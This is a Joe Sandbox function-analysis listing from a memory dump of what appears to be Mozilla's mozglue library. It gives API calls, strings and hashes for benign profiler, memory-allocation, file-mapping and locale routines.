Instruction ID: d982a7bb102f2ba1a144303ac1b8034718e3a61a88039f3bcaba4524f7df4193
Opcode Fuzzy Hash: b9a2e56de7299d92480cec0dd240bb0fb2c8dd7d9e634ba15788d19556cbe778
Instruction Fuzzy Hash: 30C19031A093919FD705CF29C48065AB7F1FFCA714F15AA1DF4C897661D730A885CB8A

Function 6C65EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65EC8C

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65ECA1
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C65ECC5
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C65ED19
CloseHandle.KERNEL32(?), ref: 6C65ED28
free.MOZGLUE(00000000), ref: 6C65ED2F
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C65EC94

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction ID: ab96313292ab70301ed49f640247ea750423c04f926e0329f683603b4d355a7e
Opcode Fuzzy Hash: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction Fuzzy Hash: 55214771600106ABCF008F25DC44AAA7779EF8636CF604211FC1987741DB38AC26CBAE

Function 6C658ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C61EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C65B392,?,?,00000001), ref: 6C6591F4

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Strings

timeline-overview, xrefs: 6C65907A
timeline-memory, xrefs: 6C659088
timeline-ipc, xrefs: 6C659096
marker-table, xrefs: 6C65906C
data, xrefs: 6C6590E8
name, xrefs: 6C658F16
stack-chart, xrefs: 6C6590B2
marker-chart, xrefs: 6C65905E
timeline-fileio, xrefs: 6C6590A4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3c2ed2199464747461aedf17ea060d2fd9560a375588d8c341f81bb73d6c9dd8
Instruction ID: 251ce6117a25cb8906a65e2662d3b26b9da89504c2b49541133332212aff3fcd
Opcode Fuzzy Hash: 3c2ed2199464747461aedf17ea060d2fd9560a375588d8c341f81bb73d6c9dd8
Instruction Fuzzy Hash: 7BB1B3B0A1120A9BDF04CF59C491BEEBBB5EF89318F604429D402ABF80D731D955CBE9

Function 6C63C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C63C5A3
WideCharToMultiByte.KERNEL32 ref: 6C63C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C63C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C63CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63CAA5

Strings

0, xrefs: 6C63D30A
(null), xrefs: 6C63C596

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction ID: 9276e78ffbcc3ccae868c0e4bd506c08792b423614b2714a17566b2da54dbf96
Opcode Fuzzy Hash: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction Fuzzy Hash: E2A1A130608361AFDB00DF29C59475ABBE1AFCA748F04A91DF98A97641D731DC05CB5A

Function 6C613480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C61350E
__Init_thread_footer.LIBCMT ref: 6C613522
__aulldiv.LIBCMT ref: 6C613552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C61357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613592

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C613508
kernel32.dll, xrefs: 6C6134EA

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction ID: 10339bda7f48c3361d4a80f3b44b901f926fe16137266cb459f938f3cbf2364a
Opcode Fuzzy Hash: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction Fuzzy Hash: AA31A771B002079BDF14DFBAC988AAE7779FB86705F114029F606D3A50DB709905CF69

Function 6C614480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C654843,?), ref: 6C6145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C654843,?), ref: 6C61468A
free.MOZGLUE(?,?,?,?,?,?,6C654843,?), ref: 6C6146C9
free.MOZGLUE(?), ref: 6C6146EF
free.MOZGLUE(?), ref: 6C614712
free.MOZGLUE(?), ref: 6C614735
free.MOZGLUE(?), ref: 6C614758
free.MOZGLUE(?), ref: 6C61477B
free.MOZGLUE(?), ref: 6C61479E

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction ID: bf24f17e66fe8cee649b3af04b37c0a2483e0d38a7639a54ebdd3b8618c871da
Opcode Fuzzy Hash: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction Fuzzy Hash: 1EB1E571A081118FDB18DE3CD8E07BD76A1AF4232EF184629E416DBFD6D7B0D8408B99

Function 6C67AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C67AC52
CreateFileMappingW.KERNEL32 ref: 6C67AC7D
GetSystemInfo.KERNEL32 ref: 6C67AC98
MapViewOfFile.KERNEL32 ref: 6C67ACB0
GetSystemInfo.KERNEL32 ref: 6C67ACCD
MapViewOfFile.KERNEL32 ref: 6C67AD05
UnmapViewOfFile.KERNEL32 ref: 6C67AD1C
CloseHandle.KERNEL32 ref: 6C67AD28
UnmapViewOfFile.KERNEL32 ref: 6C67AD37
CloseHandle.KERNEL32 ref: 6C67AD43
CloseHandle.KERNEL32 ref: 6C67AD67

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction ID: 9f533a2688b44771f73686029cecf23bfa5a3c1d9a17b337fed28c7b7c517fcd
Opcode Fuzzy Hash: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction Fuzzy Hash: C1318FB1A087058FDB10EF79C68826EBBF4BF85345F01892DE98587201EB709449CB96

Function 6C629620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C629675
__Init_thread_footer.LIBCMT ref: 6C629697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C629707
__Init_thread_footer.LIBCMT ref: 6C62971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629773

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6297B7
FreeLibrary.KERNEL32 ref: 6C6297D0
FreeLibrary.KERNEL32 ref: 6C6297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629824

Strings

ntdll.dll, xrefs: 6C6296E3
NtMapViewOfSection, xrefs: 6C629701
MapViewOfFileNuma2, xrefs: 6C6297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C629670

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 0125228d94a3f8e78d869fb6862f5863cac7d7ece5b9b8d579aef8ecfe800a70
Instruction ID: 6c948555d2228dec184d2a2a8dfc1a9923036e11bf35871196647df1d3797872
Opcode Fuzzy Hash: 0125228d94a3f8e78d869fb6862f5863cac7d7ece5b9b8d579aef8ecfe800a70
Instruction Fuzzy Hash: B941A2707002079BDF00CFA6E8D4A9677B4FB8A358F018528FD158BB40D734A815CFAA

Function 6C623E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C623EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C623FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C6240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C623CCC), ref: 6C6240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C624134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C623CCC), ref: 6C624157

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 11e42738bc9d44cc62bcc5d729d0e2f8608014889a0adde5dd7059d264c28563
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: DCA17DB1A00215CFDB50CF28C880669B7B5FF48308F2541A9D909AF742D775E886CFA8

Function 6C669D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C668273), ref: 6C669D65
free.MOZGLUE(6C668273,?), ref: 6C669D7C
free.MOZGLUE(?,?), ref: 6C669D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C669E0F
free.MOZGLUE(6C66946B,?,?), ref: 6C669E24
free.MOZGLUE(?,?,?), ref: 6C669E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C669EC8
free.MOZGLUE(6C66946B,?,?,?), ref: 6C669EDF
free.MOZGLUE(?,?,?,?), ref: 6C669EF5

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction ID: 3adb6ad83afd2ad7cc37ecd68dfdc49f04b78391ed25b0a6f611712109311f31
Opcode Fuzzy Hash: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction Fuzzy Hash: FA719070909B418BC712CF19C44055BF3F4FF99319B44A619EC9E9BB11EB30E886CB8A

Function 6C66DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C66DDCF

Part of subcall function 6C64FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64FA4B

Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C6690FF
Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C669108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DE0D
free.MOZGLUE(00000000), ref: 6C66DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C65DEFD,?,6C624A68), ref: 6C66DF32

Part of subcall function 6C66DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C66DB86
Part of subcall function 6C66DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C66DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C65DEFD,?,6C624A68), ref: 6C66DF65
free.MOZGLUE(?), ref: 6C66DF80

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 47f6abe5d3499ab1b2626c7e8a37caca8ad1ff9acdeb30d779d5bf077381b780
Instruction ID: cada9450542640352110afd06de7d736c5cdd59b4d08eb9f78074adc2b4fb674
Opcode Fuzzy Hash: 47f6abe5d3499ab1b2626c7e8a37caca8ad1ff9acdeb30d779d5bf077381b780
Instruction Fuzzy Hash: F451A2766016119BD7119F2AD8806AEB3B2AF9231CFA5051CD85A53F00DB31F91ACB9F

Function 6C675D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675DC9
std::_Facet_Register.LIBCPMT ref: 6C675DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C675C8C,?,6C64E829), ref: 6C675E45

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 10f9d892111914b6522be797d673328c89968bcd97526d6ab733abbd7119a91c
Instruction ID: 74552d5a356d61208852e09068f43c32bb94086544e280e62200245b662aafc0
Opcode Fuzzy Hash: 10f9d892111914b6522be797d673328c89968bcd97526d6ab733abbd7119a91c
Instruction Fuzzy Hash: A7416E307002059FDB20DFA6C8D8AAE77F5EF89314F1444A8E50A9B791EB30E805CF69

Function 6C64CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6131A7), ref: 6C64CDDD

Strings

<jemalloc>, xrefs: 6C64CF9F, 6C64CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C64CFA4, 6C64CFB8

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction ID: a84c5ba722751a78b64ade88c9c5b2321a8bff1989fcbe19193025ebb043c6c5
Opcode Fuzzy Hash: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction Fuzzy Hash: AF3192317402166BEB10AE668C85FAE7B79AF81B58F30C014E612ABB80DB70D505CB9D

Function 6C61ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C61ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C61EDCC
CreateFileW.KERNEL32 ref: 6C61EE08
free.MOZGLUE(00000000), ref: 6C61EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C61EE32

Part of subcall function 6C61EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C61EBB5
Part of subcall function 6C61EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C64D7F3), ref: 6C61EBC3
Part of subcall function 6C61EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C64D7F3), ref: 6C61EBD6

Strings

